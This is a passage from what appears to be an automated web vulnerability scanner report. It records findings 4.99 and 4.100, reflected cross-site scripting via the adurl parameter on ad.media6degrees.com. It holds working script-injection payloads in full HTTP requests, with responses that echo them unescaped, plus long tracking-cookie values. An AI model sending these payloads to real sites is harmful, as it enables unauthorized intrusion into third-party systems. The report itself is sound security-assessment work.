50d0kllklhm40c4010053l000k00500dyllkxlm501sim00d3m060k0d50db3zlkxlm501sim00d3m060k0d50d9q5lkb5u20mfs300o3l000k005009mjlkxlm50000000d3m060k0d50ddgflkkpke0eokd00v3m060k0e50v0t7ljyxb410j370183m060k0e50xbo0lkb5u20o8ap0113m060k0e50xbo1lkkyy00cmo50093l000k005009pglkxlm501sim00d3m060k0d50dd86lklhm40c4010053l000k00500cwalkxlm501sim00d3m060k0d50ddqllkxlm501sim00d3m060k0d50dd84lkxlm501sim00d3m060k0d50ddz3lkxlm5006bu00d3m060k0d50dcm6lkxlm501sim00d3m060k0d50dcxdlkxlm501sim00d3m060k0d50d719lkb5u20o8ap00j3m060k0d50e71alkkpke0cw1r00i3l000k00500ctplkxlm501sim00d3m060k0d50dcc3lkxlm501sim00d3m060k0d50ddgilkb5u209jqc0063e000j00500cthlkxlm501sim00d3m060k0d50d4wclkb5u20o8ap00j3m060k0d50ea0ulkxlm501sim00d3m060k0d50d5mrlkb5u20mfs300o3l000k005008eklkkpke0cw1r00i3l000k00500arilkxlm50000000d3m060k0d50dcbplkxlm501sim00d3m060k0d50dbwjlkkyy00ef6r00m3m060k0e50m9gelkxlm501sim00d3m060k0d50d; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:47 GMT; Path=/
Set-Cookie: vstcnt=417k010r174slly127p10f24exp6103210e24tc6l103210e24ru4y1032107249v4u10pj10e22te10tq10a24tmhw103210924f69z103210f24pq44103210a24n86o103210d24eflo218e104203210724eyja103210e24na8i103210e24mqca103210e24nsyl103210f24jxig103210f24f9wk103210i24fvio218e20e20f203210f24uzpw118e10f24l16a118e10f24fz24103210924e8bw103210824fsuv103210924fduc218e10a203210e24uzdp103210b24dret103210724gqhl103210923sti21hj10a203210e2451gt10pj10e24styu103210924cnyl103210g24o2lt103210a24fj52103210924nnav103210f24m1v2103210a23eoh127p10l24f7qr218e108203210924uzg6218e100203210024fgv9218e108203210a24tfmw103210b23l4f103210a24kd6k103210c24hqyp103210i2; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:47 GMT; Path=/
Content-Type: text/html;charset=ISO-8859-1
Date: Tue, 10 May 2011 14:03:47 GMT
Content-Length: 3562

<IFRAME SRC="http://ad.doubleclick.net/adi/N5371.media6/B5451956.2;sz=160x600;ord=1305036227318;click0=http://ad.media6degrees.com/adserv/clk?tId=5000680638739098|cId=6522|secId=2834|height=600|pubId=2|advId=1065|width=160|spId=33080|invId=4139|adType=iframe|ec=1|ctrack=http://googleads.g.doubleclick.net/aclk?sa=lb01fc"><script>alert(1)</script>efac68d6958&ai=BBOMbDD7JTcfMBpOv6QaAhpCCDueR9Y8C17SBmDHnxKuqagAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi05OTE0OTkyOTE0OTEwODQ3oAGLgMjrA7IBFnd3dy5rbm93eW91cm1vYmlsZS5jb226AQoxNjB4NjAwX2FzyAEJ2gFzaHR0cDovL3d3dy5r
...[SNIP]...

4.99. http://ad.media6degrees.com/adserv/csst [adurl parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.media6degrees.com
Path:	/adserv/csst

Issue detail

The value of the adurl request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e14a4"><script>alert(1)</script>dbaec650feb was submitted in the adurl parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adserv/csst?adType=iframe|secId=2834|width=160|height=600|ec=1|ctrack=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BBOMbDD7JTcfMBpOv6QaAhpCCDueR9Y8C17SBmDHnxKuqagAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi05OTE0OTkyOTE0OTEwODQ3oAGLgMjrA7IBFnd3dy5rbm93eW91cm1vYmlsZS5jb226AQoxNjB4NjAwX2FzyAEJ2gFzaHR0cDovL3d3dy5rbm93eW91cm1vYmlsZS5jb20vZmVhdHVyZXNlYjAxYiUyMi1hbGVydCglMjJYU1MlMjIpLSUyMmMxZDNhNThmOThhLzg4MTc0MC9nb29nbGVfaW9fd2hhdF90b19leHBlY3QuaHRtbJgCjgfAAgXIAtHRzwyoAwHoA68I6AOGA-gDTugDrwL1AwYAAMQ&num=1&sig=AGiWqtzXZbXKLLLPJsX9FAPr96NeE9MQ5w&client=ca-pub-9914992914910847&adurl=e14a4"><script>alert(1)</script>dbaec650feb HTTP/1.1
Host: ad.media6degrees.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipinfo=2lkkjj40zijsvn5yhbqbe90httd3GK520752HF6QnyynflFbsgYnlreGrpuabybtvrf00; acs=016020a0e0f0g0h1ljtllpxzt115sj2xzt1tr37xzt1tr37xzt115sj2xzt113zye; adh=1lkkxr816054tmb012v701QWYNRLUMp00egcp4tm3012v701QWJzhCSHC00egcf52rc011qy01mLlY5BlsL003xfa4w5q011qy01mLbKRCxkE003xf64qj9010gs02QopkpBIIf0002zwOyHUBHBSQ000000; clid=2ljtllp01170xrd52zkwjuxh15sj201a3m050k0d50w; rdrlst=43n0pahlkze3o000000043m04157rlklhm40000000h3m05144qlkze3o000000043m04157olkxlm50000000c3m0513y7lkze3o000000043m0415sklkkpqq0000000p3m050hsnlkze3o000000043m0412nslkxrxz000000063m050x1blkkpqq0000000p3m050hsplkkpqq0000000p3m0512gdlkkyy00000000l3m050morlkkxrb0000000m3m0514k6lkxlm50000000c3m050w35lkze3o000000043m0413pylkze3o000000043m0414rwlkxlm50000000c3m051628lkze3y000000023m0214khlkxlm50000000c3m051196lkkkbe0000000v3m0513x4lkxrxz000000063m0513qmlkze3y000000023m021195lkkpqh0000000q3m051194lkkjj40000000w3m050dlxlkb5u2000000103m0516nulkxlm50000000c3m051193lkkplo0000000s3m0513q8lkze3y000000023m020p46lkkpqq0000000p3m051192lkkpke0000000u3m05008slklhm40000000h3m0516oilkxlm50000000c3m050moylkl0r50000000i3m050zg4lkze3y000000023m0213qwlkze4r000000013m01144elkze3o000000043m0412ftlkxrxz000000063m0510poljyxb4000000173m050e6llkl0r50000000i3m05138olkxrxz000000063m0516dnlkze3o000000043m04167ulkxq41000000073m0514qllkxlm50000000c3m05159olk8fax000000123m0515halkxlm50000000c3m050m0ulkl0r50000000i3m050m0plkkxrb0000000m3m0516e6lkxnbq0000000b3m0513zblkze3y000000023m0214xnlkxlm50000000c3m05167blkl0r50000000i3m0516dxlkze3o000000043m041391lkxrxz000000063m0515zhlkze3y000000023m021672lkkxrb0000000m3m050ycrlkncow0000000g3m05158mlkze3o000000043m040okclkze3o000000043m041015lkze3y000000023m0213lelkxrxz000000063m0513yolkze3o000000043m04137rlkkpqq0000000p3m050ojulkze3o000000043m041240lkxrxz000000063m0514ozlkxlm50000000c3m0514bmlkxrxz000000063m0514j7lkxlm50000000c3m0514bzlkxlm50000000c3m050ni1lkb5u2000000103m0511pjlkxrxz000000063m050p01lkze3o000000043m0415holkxlm50000000c3m050m7alkkxrb0000000m3m0513mklkxrxz000000063m050m7flkkyyl0000000k3m05101ulkze3o000000043m040zoklkze3o000000043m0412zglkxrxz000000063m0513lxlkxrxz000000063m050zp4lkze3o000000043m04148ilkxlm50000000c3m050xvclkze3o000000043m0412yxlkxrxz000000063m0515iglkxq0l000000083m0513n7lkze3y000000023m0216s2lkxpyu000000093m0514hplkxlm50000000c3m050znmlk3462000000153m0514hclkxlm50000000c3m050wd7lkze3o000000043m04102plkxrxz000000063m0510tylkkpku0000000t3m050p1blkb5u2000000103m050p1alkze3o000000043m0400bvlk9pe8000000113m0515xylk60qe000000143m0510lxlkxrxz000000063m05103blkxrxz000000063m0510telkd7nq0000000z3m0516rslkxppm0000000a3m050c9slk9pe8000000113m0513mxlkze3o000000043m0412emlkze3o000000043m0410rdlkdkly0000000x3m05126qlkxrxz000000063m050mj2lkkxrb0000000m3m050kualkkpqq0000000p3m05163plkxlm50000000c3m050z9zlkze3y000000023m020z9xlkze3o000000043m040m45lkl0r50000000i3m050m40lkkxrb0000000m3m050zqylkxrxz000000063m050mjelkkxrb0000000m3m0512qnlkkplt0000000r3m050ovslkze3o000000043m0412x6lkxrxz000000063m050bo8lkb5u2000000103m0514e9lkze3o000000043m040mjjlkl0r50000000i3m051342lkze3y000000023m020lw5lkb5u2000000103m0516aulkze3o000000043m0415k9lkxlm50000000c3m0516atlkxlm50000000c3m051203lkb5u2000000103m05163clkxlm50000000c3m051204lkkyy00000000l3m050afqlkze3o000000043m040o0vlkkpqx0000000o3m050z2ilkkxrb0000000m3m0513ovlkxrxz000000063m05; sglst=2280sbpelkxlm50000000c3m050k0c50cdsnlkxlm501sim00c3m050k0c50carllkxlm501sim00c3m050k0c50ccg5lkxlm501sim00c3m050k0c50c9rslkkpke0eokd00u3m050k0d50uam5lkkxr8002zw00n3m050k0d50ncd4lkxlm5006bu00c3m050k0c50ccrglkxlm501sim00c3m050k0c50ccnolkxlm501sim00c3m050k0c50cabelkxlm5006bu00c3m050k0c50cdd8lkxlm5006bu00c3m050k0c50ccy2lkxlm501sim00c3m050k0c50caoplkb5u209jqc0063e000j00500cnxlkxlm501sim00c3m050k0c50cbq3lkxlm501sim00c3m050k0c50cbvplkxlm5006bu00c3m050k0c50caoilkxlm501sim00c3m050k0c50c942lkb5u20mfs300o3l000k005008ndlkb5u20mfs300o3l000k005009ullkxlm501sim00c3m050k0c50cbvclkxlm501sim00c3m050k0c50cc5flkxlm501sim00c3m050k0c50c56blkb5u20mfs300o3l000k00500bjqlkxlm501sim00c3m050k0c50cawklkxlm501sim00c3m050k0c50casulkb5u209jqc0063e000j00500crplkxlm501sim00c3m050k0c50casqlkxlm501sim00c3m050k0c50cc5rlkov6e0000000f3m050k0d50faw8lkxlm501sim00c3m050k0c50cc60lkxlm501sim00c3m050k0c50cdc4lkxlm501sim00c3m050k0c50cd26lkxlm501sim00c3m050k0c50cdnjlkxlm501sim00c3m050k0c50cbrilkxlm501sim00c3m050k0c50ccbclkxlm501sim00c3m050k0c50cc85lkxlm501sim00c3m050k0c50ccsslkxlm501sim00c3m050k0c50cc80lkb5u209jqc0063e000j00500ag2lkd7nq0m6h100z3m050k0d50wc1elkxlm501sim00c3m050k0c50cc81lkkpke0cw1r00i3l000k005009grlkxlm501sim00c3m050k0c50cc8flkxlm501sim00c3m050k0c50ca6slkkpke0cw1r00i3l000k00500dnalkxlm501sim00c3m050k0c50c9z6lkxlm501sim00c3m050k0c50cdbtlkxlm501sim00c3m050k0c50cdyllkxlm501sim00c3m050k0c50c0kllklhm40c4010053l000k005009q4lkxlm501sim00c3m050k0c50c9q5lkb5u20mfs300o3l000k00500b3zlkxlm501sim00c3m050k0c50c0t7ljyxb410gtn0173m050k0d50wdgflkkpke0eokd00u3m050k0d50u9mjlkxlm50000000c3m050k0c50cbo0lkb5u20o8ap0103m050k0d50wbo1lkkyy00cmo50093l000k005009pglkxlm501sim00c3m050k0c50ccwalkxlm501sim00c3m050k0c50cd86lklhm40c4010053l000k00500d84lkxlm501sim00c3m050k0c50cdqllkxlm501sim00c3m050k0c50cdz3lkxlm5006bu00c3m050k0c50ccm6lkxlm501sim00c3m050k0c50ccxdlkxlm501sim00c3m050k0c50c719lkb5u20o8ap00i3m050k0c50d71alkkpke0cw1r00i3l000k00500ctplkxlm501sim00c3m050k0c50ccc3lkxlm501sim00c3m050k0c50cdgilkb5u209jqc0063e000j00500cthlkxlm501sim00c3m050k0c50c4wclkb5u20o8ap00i3m050k0c50d8eklkkpke0cw1r00i3l000k005005mrlkb5u20mfs300o3l000k00500a0ulkxlm501sim00c3m050k0c50carilkxlm50000000c3m050k0c50cbwjlkkyy00ef6r00l3m050k0d50lcbplkxlm501sim00c3m050k0c50c9gelkxlm501sim00c3m050k0c50c; vstcnt=417k010r174slly127p10f24exp6103210e24tc6l103210e249v4u10pj10e24ru4y103210722te10tq10a24f69z103210f24tmhw103210924n86o103210d24pq44103210a24eflo218e104203210724na8i103210e24eyja103210e24mqca103210e24nsyl103210f24jxig103210f24f9wk103210i24fvio218e20e20f203210f24uzpw118e10f24l16a118e10f24fz24103210924e8bw103210824fsuv103210924fduc218e10a203210e24dret103210724uzdp103210b24gqhl103210923sti21hj10a203210e24cnyl103210g24styu10321092451gt10pj10e24fj52103210924o2lt103210a24nnav103210f23eoh127p10l24m1v2103210a24f7qr218e108203210924uzg6218e100203210024fgv9218e108203210a24tfmw103210b24hqyp103210i24kd6k103210c23l4f103210a2

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: CP="COM NAV INT STA NID OUR IND NOI"
Pragma: no-cache
Cache-Control: no-cache
Set-Cookie: adh=1lkkxr8160658j30136z01RxXApFQkX00eine4tmb012v701QWYNRLUMp00egcp4tm3012v701QWJzhCSHC00egcf52rc011qy01mLlY5BlsL003xfa4w5q011qy01mLbKRCxkE003xf64qj9010gs02QopkpBIIf0002zwOyHUBHBSQ000000; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:58 GMT; Path=/
Set-Cookie: clid=2ljtllp01170xrd52zkwjuxh15usx01b3m060k0e50x; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:58 GMT; Path=/
Set-Cookie: orblb=""; Domain=media6degrees.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rdrlst=43n157rlklhm40000000i3m060pahlkze3o000000053m05157olkxlm50000000d3m06144qlkze3o000000053m0513y7lkze3o000000053m050hsnlkze3o000000053m0515sklkkpqq0000000q3m060x1blkkpqq0000000q3m0612nslkxrxz000000073m060hsplkkpqq0000000q3m0612gdlkkyy00000000m3m060morlkkxrb0000000n3m0614k6lkxlm50000000d3m060w35lkze3o000000053m0513pylkze3o000000053m0514rwlkxlm50000000d3m061628lkze3y000000033m0314khlkxlm50000000d3m061196lkkkbe0000000w3m0613x4lkxrxz000000073m0613qmlkze3y000000033m031195lkkpqh0000000r3m061194lkkjj40000000x3m060dlxlkb5u2000000113m0616nulkxlm50000000d3m0613q8lkze3y000000033m031193lkkplo0000000t3m06008slklhm40000000i3m061192lkkpke0000000v3m060p46lkkpqq0000000q3m060zg4lkze3y000000033m030moylkl0r50000000j3m0616oilkxlm50000000d3m06144elkze3o000000053m0513qwlkze4r000000023m0210poljyxb4000000183m0612ftlkxrxz000000073m060e6llkl0r50000000j3m0616dnlkze3o000000053m05138olkxrxz000000073m06167ulkxq41000000083m06159olk8fax000000133m0614qllkxlm50000000d3m0615halkxlm50000000d3m060m0ulkl0r50000000j3m060m0plkkxrb0000000n3m0616e6lkxnbq0000000c3m0613zblkze3y000000033m0314xnlkxlm50000000d3m06167blkl0r50000000j3m0616dxlkze3o000000053m051391lkxrxz000000073m0615zhlkze3y000000033m031672lkkxrb0000000n3m060ycrlkncow0000000h3m06158mlkze3o000000053m050okclkze3o000000053m051015lkze3y000000033m0313lelkxrxz000000073m0613yolkze3o000000053m05137rlkkpqq0000000q3m060ojulkze3o000000053m051240lkxrxz000000073m0614ozlkxlm50000000d3m0614bmlkxrxz000000073m0614j7lkxlm50000000d3m0614bzlkxlm50000000d3m060ni1lkb5u2000000113m0611pjlkxrxz000000073m060p01lkze3o000000053m0515holkxlm50000000d3m060m7alkkxrb0000000n3m0613mklkxrxz000000073m060m7flkkyyl0000000l3m06101ulkze3o000000053m050zoklkze3o000000053m0512zglkxrxz000000073m0613lxlkxrxz000000073m060zp4lkze3o000000053m05148ilkxlm50000000d3m060xvclkze3o000000053m0512yxlkxrxz000000073m0615iglkxq0l000000093m0613n7lkze3y000000033m0316s2lkxpyu0000000a3m0614hplkxlm50000000d3m060znmlk3462000000163m0614hclkxlm50000000d3m060wd7lkze3o000000053m05102plkxrxz000000073m0610tylkkpku0000000u3m060p1blkb5u2000000113m060p1alkze3o000000053m0500bvlk9pe8000000123m0615xylk60qe000000153m0610lxlkxrxz000000073m06103blkxrxz000000073m0610telkd7nq000000103m0616rslkxppm0000000b3m060c9slk9pe8000000123m0613mxlkze3o000000053m0512emlkze3o000000053m0510rdlkdkly0000000y3m06126qlkxrxz000000073m060mj2lkkxrb0000000n3m060kualkkpqq0000000q3m060z9zlkze3y000000033m03163plkxlm50000000d3m060z9xlkze3o000000053m050m45lkl0r50000000j3m060m40lkkxrb0000000n3m060zqylkxrxz000000073m060mjelkkxrb0000000n3m0612qnlkkplt0000000s3m060ovslkze3o000000053m0514e9lkze3o000000053m050bo8lkb5u2000000113m0612x6lkxrxz000000073m060mjjlkl0r50000000j3m061342lkze3y000000033m030lw5lkb5u2000000113m0616aulkze3o000000053m0516atlkxlm50000000d3m0615k9lkxlm50000000d3m061203lkb5u2000000113m061204lkkyy00000000m3m06163clkxlm50000000d3m060afqlkze3o000000053m050o0vlkkpqx0000000p3m060z2ilkkxrb0000000n3m0613ovlkxrxz000000073m06; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:58 GMT; Path=/
Set-Cookie: sglst=2280sbpelkxlm50000000d3m060k0d50ddsnlkxlm501sim00d3m060k0d50darllkxlm501sim00d3m060k0d50dcg5lkxlm501sim00d3m060k0d50d9rslkkpke0eokd00v3m060k0e50vam5lkkxr8002zw00o3m060k0e50ocd4lkxlm5006bu00d3m060k0d50dcrglkxlm501sim00d3m060k0d50dcnolkxlm501sim00d3m060k0d50dabelkxlm5006bu00d3m060k0d50ddd8lkxlm5006bu00d3m060k0d50dcy2lkxlm501sim00d3m060k0d50daoplkb5u209jqc0063e000j00500cnxlkxlm501sim00d3m060k0d50dbq3lkxlm501sim00d3m060k0d50daoilkxlm501sim00d3m060k0d50dbvplkxlm5006bu00d3m060k0d50d942lkb5u20mfs300o3l000k005009ullkxlm501sim00d3m060k0d50d8ndlkb5u20mfs300o3l000k00500bvclkxlm501sim00d3m060k0d50dc5flkxlm501sim00d3m060k0d50d56blkb5u20mfs300o3l000k00500bjqlkxlm501sim00d3m060k0d50dawklkxlm501sim00d3m060k0d50dasulkb5u209jqc0063e000j00500crplkxlm501sim00d3m060k0d50dasqlkxlm501sim00d3m060k0d50dc5rlkov6e0000000g3m060k0e50gaw8lkxlm501sim00d3m060k0d50dc60lkxlm501sim00d3m060k0d50ddc4lkxlm501sim00d3m060k0d50dd26lkxlm501sim00d3m060k0d50ddnjlkxlm501sim00d3m060k0d50dbrilkxlm501sim00d3m060k0d50dcbclkxlm501sim00d3m060k0d50dc85lkxlm501sim00d3m060k0d50dcsslkxlm501sim00d3m060k0d50dc80lkb5u209jqc0063e000j00500ag2lkd7nq0m8qw0103m060k0e50xc1elkxlm501sim00d3m060k0d50dc81lkkpke0cw1r00i3l000k005009grlkxlm501sim00d3m060k0d50dc8flkxlm501sim00d3m060k0d50da6slkkpke0cw1r00i3l000k00500dnalkxlm501sim00d3m060k0d50d9z6lkxlm501sim00d3m060k0d50ddbtlkxlm501sim00d3m060k0d50d9q4lkxlm501sim00d3m060k0d50d0kllklhm40c4010053l000k00500dyllkxlm501sim00d3m060k0d50db3zlkxlm501sim00d3m060k0d50d9q5lkb5u20mfs300o3l000k005009mjlkxlm50000000d3m060k0d50ddgflkkpke0eokd00v3m060k0e50v0t7ljyxb410j3i0183m060k0e50xbo0lkb5u20o8ap0113m060k0e50xbo1lkkyy00cmo50093l000k005009pglkxlm501sim00d3m060k0d50dd86lklhm40c4010053l000k00500cwalkxlm501sim00d3m060k0d50ddqllkxlm501sim00d3m060k0d50dd84lkxlm501sim00d3m060k0d50ddz3lkxlm5006bu00d3m060k0d50dcm6lkxlm501sim00d3m060k0d50dcxdlkxlm501sim00d3m060k0d50d719lkb5u20o8ap00j3m060k0d50e71alkkpke0cw1r00i3l000k00500ctplkxlm501sim00d3m060k0d50dcc3lkxlm501sim00d3m060k0d50ddgilkb5u209jqc0063e000j00500cthlkxlm501sim00d3m060k0d50d4wclkb5u20o8ap00j3m060k0d50ea0ulkxlm501sim00d3m060k0d50d5mrlkb5u20mfs300o3l000k005008eklkkpke0cw1r00i3l000k00500arilkxlm50000000d3m060k0d50dcbplkxlm501sim00d3m060k0d50dbwjlkkyy00ef6r00m3m060k0e50m9gelkxlm501sim00d3m060k0d50d; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:58 GMT; Path=/
Set-Cookie: vstcnt=417k010r174slly127p10f24exp6103210e24tc6l103210e24ru4y1032107249v4u10pj10e22te10tq10a24tmhw103210924f69z103210f24pq44103210a24n86o103210d24eflo218e104203210724eyja103210e24na8i103210e24mqca103210e24nsyl103210f24jxig103210f24f9wk103210i24fvio218e20e20f203210f24uzpw118e10f24l16a118e10f24fz24103210924e8bw103210824fsuv103210924fduc218e10a203210e24uzdp103210b24dret103210724gqhl103210923sti21hj10a203210e2451gt10pj10e24styu103210924cnyl103210g24o2lt103210a24fj52103210924nnav103210f24m1v2103210a23eoh127p10l24f7qr218e108203210924uzg6218e100203210024fgv9218e108203210a24tfmw103210b23l4f103210a24kd6k103210c24hqyp103210i2; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:58 GMT; Path=/
Content-Type: text/html;charset=ISO-8859-1
Date: Tue, 10 May 2011 14:03:58 GMT
Content-Length: 3562

<IFRAME SRC="http://ad.doubleclick.net/adi/N5371.media6/B5451956.2;sz=160x600;ord=1305036238341;click0=http://ad.media6degrees.com/adserv/clk?tId=5002160120334615|cId=6522|secId=2834|height=600|pubId=
...[SNIP]...
SUyMmMxZDNhNThmOThhLzg4MTc0MC9nb29nbGVfaW9fd2hhdF90b19leHBlY3QuaHRtbJgCjgfAAgXIAtHRzwyoAwHoA68I6AOGA-gDTugDrwL1AwYAAMQ&num=1&sig=AGiWqtzXZbXKLLLPJsX9FAPr96NeE9MQ5w&client=ca-pub-9914992914910847&adurl=e14a4"><script>alert(1)</script>dbaec650feb">
...[SNIP]...

4.100. http://ad.media6degrees.com/adserv/csst [adurl parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.media6degrees.com
Path:	/adserv/csst

Issue detail

The value of the adurl request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4bf97"><script>alert(1)</script>5bd5f31a41a was submitted in the adurl parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adserv/csst?adType=iframe|secId=2834|width=160|height=600|ec=1|ctrack=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BBOMbDD7JTcfMBpOv6QaAhpCCDueR9Y8C17SBmDHnxKuqagAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi05OTE0OTkyOTE0OTEwODQ3oAGLgMjrA7IBFnd3dy5rbm93eW91cm1vYmlsZS5jb226AQoxNjB4NjAwX2FzyAEJ2gFzaHR0cDovL3d3dy5rbm93eW91cm1vYmlsZS5jb20vZmVhdHVyZXNlYjAxYiUyMi1hbGVydCglMjJYU1MlMjIpLSUyMmMxZDNhNThmOThhLzg4MTc0MC9nb29nbGVfaW9fd2hhdF90b19leHBlY3QuaHRtbJgCjgfAAgXIAtHRzwyoAwHoA68I6AOGA-gDTugDrwL1AwYAAMQ&num=1&sig=AGiWqtzXZbXKLLLPJsX9FAPr96NeE9MQ5w&client=ca-pub-9914992914910847&adurl=4bf97"><script>alert(1)</script>5bd5f31a41a HTTP/1.1
Host: ad.media6degrees.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipinfo=2lkkjj40zijsvn5yhbqbe90httd3GK520752HF6QnyynflFbsgYnlreGrpuabybtvrf00; acs=016020a0e0f0g0h1ljtllpxzt115sj2xzt1tr37xzt1tr37xzt115sj2xzt113zye; adh=1lkkxr816054tmb012v701QWYNRLUMp00egcp4tm3012v701QWJzhCSHC00egcf52rc011qy01mLlY5BlsL003xfa4w5q011qy01mLbKRCxkE003xf64qj9010gs02QopkpBIIf0002zwOyHUBHBSQ000000; clid=2ljtllp01170xrd52zkwjuxh15sj201a3m050k0d50w; rdrlst=43n0pahlkze3o000000043m04157rlklhm40000000h3m05144qlkze3o000000043m04157olkxlm50000000c3m0513y7lkze3o000000043m0415sklkkpqq0000000p3m050hsnlkze3o000000043m0412nslkxrxz000000063m050x1blkkpqq0000000p3m050hsplkkpqq0000000p3m0512gdlkkyy00000000l3m050morlkkxrb0000000m3m0514k6lkxlm50000000c3m050w35lkze3o000000043m0413pylkze3o000000043m0414rwlkxlm50000000c3m051628lkze3y000000023m0214khlkxlm50000000c3m051196lkkkbe0000000v3m0513x4lkxrxz000000063m0513qmlkze3y000000023m021195lkkpqh0000000q3m051194lkkjj40000000w3m050dlxlkb5u2000000103m0516nulkxlm50000000c3m051193lkkplo0000000s3m0513q8lkze3y000000023m020p46lkkpqq0000000p3m051192lkkpke0000000u3m05008slklhm40000000h3m0516oilkxlm50000000c3m050moylkl0r50000000i3m050zg4lkze3y000000023m0213qwlkze4r000000013m01144elkze3o000000043m0412ftlkxrxz000000063m0510poljyxb4000000173m050e6llkl0r50000000i3m05138olkxrxz000000063m0516dnlkze3o000000043m04167ulkxq41000000073m0514qllkxlm50000000c3m05159olk8fax000000123m0515halkxlm50000000c3m050m0ulkl0r50000000i3m050m0plkkxrb0000000m3m0516e6lkxnbq0000000b3m0513zblkze3y000000023m0214xnlkxlm50000000c3m05167blkl0r50000000i3m0516dxlkze3o000000043m041391lkxrxz000000063m0515zhlkze3y000000023m021672lkkxrb0000000m3m050ycrlkncow0000000g3m05158mlkze3o000000043m040okclkze3o000000043m041015lkze3y000000023m0213lelkxrxz000000063m0513yolkze3o000000043m04137rlkkpqq0000000p3m050ojulkze3o000000043m041240lkxrxz000000063m0514ozlkxlm50000000c3m0514bmlkxrxz000000063m0514j7lkxlm50000000c3m0514bzlkxlm50000000c3m050ni1lkb5u2000000103m0511pjlkxrxz000000063m050p01lkze3o000000043m0415holkxlm50000000c3m050m7alkkxrb0000000m3m0513mklkxrxz000000063m050m7flkkyyl0000000k3m05101ulkze3o000000043m040zoklkze3o000000043m0412zglkxrxz000000063m0513lxlkxrxz000000063m050zp4lkze3o000000043m04148ilkxlm50000000c3m050xvclkze3o000000043m0412yxlkxrxz000000063m0515iglkxq0l000000083m0513n7lkze3y000000023m0216s2lkxpyu000000093m0514hplkxlm50000000c3m050znmlk3462000000153m0514hclkxlm50000000c3m050wd7lkze3o000000043m04102plkxrxz000000063m0510tylkkpku0000000t3m050p1blkb5u2000000103m050p1alkze3o000000043m0400bvlk9pe8000000113m0515xylk60qe000000143m0510lxlkxrxz000000063m05103blkxrxz000000063m0510telkd7nq0000000z3m0516rslkxppm0000000a3m050c9slk9pe8000000113m0513mxlkze3o000000043m0412emlkze3o000000043m0410rdlkdkly0000000x3m05126qlkxrxz000000063m050mj2lkkxrb0000000m3m050kualkkpqq0000000p3m05163plkxlm50000000c3m050z9zlkze3y000000023m020z9xlkze3o000000043m040m45lkl0r50000000i3m050m40lkkxrb0000000m3m050zqylkxrxz000000063m050mjelkkxrb0000000m3m0512qnlkkplt0000000r3m050ovslkze3o000000043m0412x6lkxrxz000000063m050bo8lkb5u2000000103m0514e9lkze3o000000043m040mjjlkl0r50000000i3m051342lkze3y000000023m020lw5lkb5u2000000103m0516aulkze3o000000043m0415k9lkxlm50000000c3m0516atlkxlm50000000c3m051203lkb5u2000000103m05163clkxlm50000000c3m051204lkkyy00000000l3m050afqlkze3o000000043m040o0vlkkpqx0000000o3m050z2ilkkxrb0000000m3m0513ovlkxrxz000000063m05; sglst=2280sbpelkxlm50000000c3m050k0c50cdsnlkxlm501sim00c3m050k0c50carllkxlm501sim00c3m050k0c50ccg5lkxlm501sim00c3m050k0c50c9rslkkpke0eokd00u3m050k0d50uam5lkkxr8002zw00n3m050k0d50ncd4lkxlm5006bu00c3m050k0c50ccrglkxlm501sim00c3m050k0c50ccnolkxlm501sim00c3m050k0c50cabelkxlm5006bu00c3m050k0c50cdd8lkxlm5006bu00c3m050k0c50ccy2lkxlm501sim00c3m050k0c50caoplkb5u209jqc0063e000j00500cnxlkxlm501sim00c3m050k0c50cbq3lkxlm501sim00c3m050k0c50cbvplkxlm5006bu00c3m050k0c50caoilkxlm501sim00c3m050k0c50c942lkb5u20mfs300o3l000k005008ndlkb5u20mfs300o3l000k005009ullkxlm501sim00c3m050k0c50cbvclkxlm501sim00c3m050k0c50cc5flkxlm501sim00c3m050k0c50c56blkb5u20mfs300o3l000k00500bjqlkxlm501sim00c3m050k0c50cawklkxlm501sim00c3m050k0c50casulkb5u209jqc0063e000j00500crplkxlm501sim00c3m050k0c50casqlkxlm501sim00c3m050k0c50cc5rlkov6e0000000f3m050k0d50faw8lkxlm501sim00c3m050k0c50cc60lkxlm501sim00c3m050k0c50cdc4lkxlm501sim00c3m050k0c50cd26lkxlm501sim00c3m050k0c50cdnjlkxlm501sim00c3m050k0c50cbrilkxlm501sim00c3m050k0c50ccbclkxlm501sim00c3m050k0c50cc85lkxlm501sim00c3m050k0c50ccsslkxl